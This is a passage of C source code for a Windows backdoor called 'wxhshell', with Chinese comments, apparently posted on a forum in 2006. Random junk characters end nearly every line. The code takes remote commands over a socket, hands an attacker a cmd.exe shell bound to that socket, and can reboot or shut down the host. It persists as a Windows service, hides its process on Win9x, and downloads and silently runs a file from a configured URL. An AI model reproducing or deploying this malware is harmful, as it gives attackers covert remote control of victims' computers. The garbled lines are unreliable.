      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fI d)  
    break; iRwW>a3/  
  } u4#~ i0@  
  // 安装 `?o1cf A  
  case 'i': { 'Tf#S@o  
    if(Install()) 5-5(`OZ{'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UE,~_hp  
    else )|h;J4V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BdoC6H  
    break; ({_:^$E\  
    } x$5nLS2.  
  // 卸载 h [|zs>p  
  case 'r': { C3 b0`|5  
    if(Uninstall()) X\^& nLa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`C~6Mf+  
    else n|mJE,N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!+/Wgd:6  
    break; %AEK[W+0  
    } ptWG@"j/b  
  // 显示 wxhshell 所在路径 >uchF8)e|  
  case 'p': { Xk&F4BJQk<  
    char svExeFile[MAX_PATH]; :&1=8^BY  
    strcpy(svExeFile,"\n\r"); kJvy<(iG  
      strcat(svExeFile,ExeFile); %I|+_ z&x  
        send(wsh,svExeFile,strlen(svExeFile),0); {c\oOM<7  
    break; ,'1Olu{v[s  
    } (:y,CsR}4  
  // 重启 w-'D*dOi  
  case 'b': { =wlm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >0<KkBH  
    if(Boot(REBOOT)) & GzhcW~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {80oRD2=Q  
    else { !7kLFW  
    closesocket(wsh); 1IF'>*  
    ExitThread(0); V^Mf4!A(y  
    } "x.6W!  
    break; Y( V3P nH  
    } yYG3/Z3u5  
  // 关机 zh{@? k  
  case 'd': { KT lP:pB;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +J o 3rX'`  
    if(Boot(SHUTDOWN)) ezg^5o;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]w_  
    else { RI5g+Du?  
    closesocket(wsh); (N*<\6kr  
    ExitThread(0); @tE&<[e  
    } N o_$!)J.  
    break; [V2omSZo  
    } <wUD  
  // 获取shell PQU3s$  
  case 's': {  9+'@  
    CmdShell(wsh); :tjgg]  
    closesocket(wsh); /jZaU`  
    ExitThread(0); <=)D=Ax/_[  
    break; k%Ma4_Z  
  } q:2aPfo&  
  // 退出 TXd5v#_vo  
  case 'x': { v9t4 7>V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y~== waZw  
    CloseIt(wsh); t?]\M&i&  
    break; F=-uDtQ <N  
    } Z^'?|qFj!  
  // 离开 ~),;QQ,  
  case 'q': { >bX-!<S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xZ.~:V03\t  
    closesocket(wsh); Q SHx]*)  
    WSACleanup(); 6m, KL5>W  
    exit(1); \A'|XdQ  
    break; 2YE;m&  
        } '!j #X_;  
  } 6?1s`{yy  
  } iA55yT+  
$zk^yumdE  
  // 提示信息 ,2 zt.aqB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ss@u,`pr  
} S3ab0JM  
  } NCowt|#t  
yCF"Z/.  
  return; "*Lj8C3|n  
} zuC58B  
B`?N,N"  
// shell模块句柄 Fb<n0[m  
int CmdShell(SOCKET sock) ~q0I7M  
{ Hv8SYQ|  
STARTUPINFO si; 'O.+6`&  
ZeroMemory(&si,sizeof(si)); y-w2O]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wF|0n t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ioB|*D<U2  
PROCESS_INFORMATION ProcessInfo; T"L0Iy!k;  
char cmdline[]="cmd"; !cq=)xR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vKcl6bVT  
  return 0; $q Zc!Qc  
} 8q]J;T  
nc3sty1`  
// 自身启动模式 |ZvNH ~!  
int StartFromService(void) RL?u n}Qa  
{ (H&@u9K?a?  
typedef struct [<]Y+33  
{ 1 L+=|*:  
  DWORD ExitStatus; 4` '8fe/"  
  DWORD PebBaseAddress; Um]p&phVL  
  DWORD AffinityMask; 6-mmi7IfO  
  DWORD BasePriority; 6OfdD.y  
  ULONG UniqueProcessId; z=ML(1c=  
  ULONG InheritedFromUniqueProcessId; 5;X {.2  
}   PROCESS_BASIC_INFORMATION; nqZA|-}  
 uY.=4l  
PROCNTQSIP NtQueryInformationProcess; W[@i;f^g  
Gs+\D0o!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1*Sr5N[=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1|o$X  
m_cO<LB  
  HANDLE             hProcess; X Y~;)<s_  
  PROCESS_BASIC_INFORMATION pbi; K1:a]aU?Iu  
RS'} nY}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sC% b~  
  if(NULL == hInst ) return 0; 7N>oY$&)  
;4!=DFbU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UQ5BH%EPb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !tI=`Ml[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L'>s(CR  
|</"N-#S  
  if (!NtQueryInformationProcess) return 0; 4py(R-8\  
Y5HfN[u^7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (YIhTSL"]  
  if(!hProcess) return 0; {] O`g G  
L{=l#vu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WNhbXyp_  
lY.B  
  CloseHandle(hProcess); CoJ55TAW  
C*7!dW6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wdo#?@m  
if(hProcess==NULL) return 0; wa" uFW  
&ik$L!iX  
HMODULE hMod; R8tF/dx>7  
char procName[255]; eK9TAW  
unsigned long cbNeeded; B#]_8svO  
W}>=JoN^J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tj`yJ!0  
hm3jpWi 8  
  CloseHandle(hProcess); _vL<h$vD  
8zZSp  
if(strstr(procName,"services")) return 1; // 以服务启动 z!:'V]  
job[bhK'Jt  
  return 0; // 注册表启动 @44P4?;  
} ymtd>P"  
\83sSw  
// 主模块 eaQ90B4  
int StartWxhshell(LPSTR lpCmdLine) ;`kWpM;  
{ H>?F8R_iq  
  SOCKET wsl; !h>D;k6 e  
BOOL val=TRUE; 1~'_K9eE  
  int port=0; pW{8R^vKm  
  struct sockaddr_in door; %w7m\nw@  
i&A%"lOI9  
  if(wscfg.ws_autoins) Install(); =E y`M#t;  
g]|_ `  
port=atoi(lpCmdLine); 7UKYmJk.  
^Gq5ig1rxy  
if(port<=0) port=wscfg.ws_port; J3G7zu8  
Wt J{  
  WSADATA data; 7 jjU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Nt$ZYS  
Wr>(#*r7q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Y9\DeIZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~GG?GB  
  door.sin_family = AF_INET; <qhBc:kc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s*Ih_Ag=:  
  door.sin_port = htons(port); ,-'4L9  
C0fmmI0z~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,)h)5o(?  
closesocket(wsl); }>&KUl  
return 1; JDv-O&]  
} cXN _*%  
1zjaR4Tf  
  if(listen(wsl,2) == INVALID_SOCKET) { %jEY 3q  
closesocket(wsl); K;U39ofW  
return 1; 6z?gg3GV  
}  i-W  
  Wxhshell(wsl); z856 nl  
  WSACleanup(); =x0No*#|'  
sS!w}o2X  
return 0; \cQ .|S  
DA"}A`HfI  
} EfiU$ 8y  
7 ({=*  
// 以NT服务方式启动 3]U]?h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +y&d;0!  
{ 8~ #M{}  
DWORD   status = 0; 5| w&dM  
  DWORD   specificError = 0xfffffff; #U=;T]!'$  
j7 d:v7+_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 59*M"1['Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gUVn;_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8g*hvPc  
  serviceStatus.dwWin32ExitCode     = 0; 0 mexF@  
  serviceStatus.dwServiceSpecificExitCode = 0; e*]r  
  serviceStatus.dwCheckPoint       = 0; /N)5 3!LT  
  serviceStatus.dwWaitHint       = 0; Pxhz@":[  
G> \T bx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wAYB RY[  
  if (hServiceStatusHandle==0) return; ?a.+j8pbGg  
|}[nH>  
status = GetLastError(); EO)%UrWnC  
  if (status!=NO_ERROR) ~rv})4h  
{ B@t'U=@7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cDV ^8 R  
    serviceStatus.dwCheckPoint       = 0; 1S$h<RIPAc  
    serviceStatus.dwWaitHint       = 0; Veji^-0E  
    serviceStatus.dwWin32ExitCode     = status; UG2w 1xqHw  
    serviceStatus.dwServiceSpecificExitCode = specificError; N4UM82N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $-vo}k%M  
    return; #S5`Pd!I  
  } n56;m`IU  
>dQK.CG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4MW ]EQ-  
  serviceStatus.dwCheckPoint       = 0; Zk? =  
  serviceStatus.dwWaitHint       = 0; J]pa4C`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x<B'.3y  
} KhaYr)&~  
Vhg1/EgUr  
// 处理NT服务事件,比如:启动、停止 oRq!=eUu_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ohQAA h  
{ \u{8Bak0  
switch(fdwControl) ftZj}|R!  
{ HDIk9WC^  
case SERVICE_CONTROL_STOP: 5bX6#5uP1  
  serviceStatus.dwWin32ExitCode = 0; 9 E1W|KE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -_8*41  
  serviceStatus.dwCheckPoint   = 0; .%xzT J=!  
  serviceStatus.dwWaitHint     = 0; eN-au/kN  
  { ?tYpc_p#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y79qwM.  
  } .~klG&>aV  
  return; 5/I_w0  
case SERVICE_CONTROL_PAUSE: ,&]MOe4@>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (P@Y36j>N  
  break; #y; yN7W  
case SERVICE_CONTROL_CONTINUE: ;Zut@z4\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g]$ 4~"|.  
  break; |)U|:F/{@  
case SERVICE_CONTROL_INTERROGATE: c^.l 2Q!  
  break; LSd*| 3E}n  
}; p1O6+hRio  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?S#\K^  
} \2X$C#8E  
H\G{3.T.9  
// 标准应用程序主函数 83iCL;GS=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *l>0t]5YH  
{ Z(Q2Ue;}&  
B)=~8wsI:Z  
// 获取操作系统版本 J|QiH<  
OsIsNt=GetOsVer(); <94G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uJow7-FD  
U;^[$Aq  
  // 从命令行安装 f7<pEGb  
  if(strpbrk(lpCmdLine,"iI")) Install(); "{BqtU*.  
Ax<\jW<  
  // 下载执行文件 z,Lzgh  
if(wscfg.ws_downexe) { ffcLuXa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |. C1|J'Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); w:ULi3  
} FJS'G^  
XGs^rIf  
if(!OsIsNt) { #V_GOy1-  
// 如果时win9x,隐藏进程并且设置为注册表启动 `T WN^0!]  
HideProc(); =dH$2W)G  
StartWxhshell(lpCmdLine); @h9MxCE!  
} {aDFK;qG.  
else ;j} yB  
  if(StartFromService()) VcgBLkIF  
  // 以服务方式启动 :@. ;  
  StartServiceCtrlDispatcher(DispatchTable);  '3 ,\@4  
else g`,AaWlF  
  // 普通方式启动 oRY!\ADR  
  StartWxhshell(lpCmdLine); r|R7- HI  
'Cg{_z.~c  
return 0; f}fsoDoQ=  
}
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只看该作者 1 发表于: 2006-10-10
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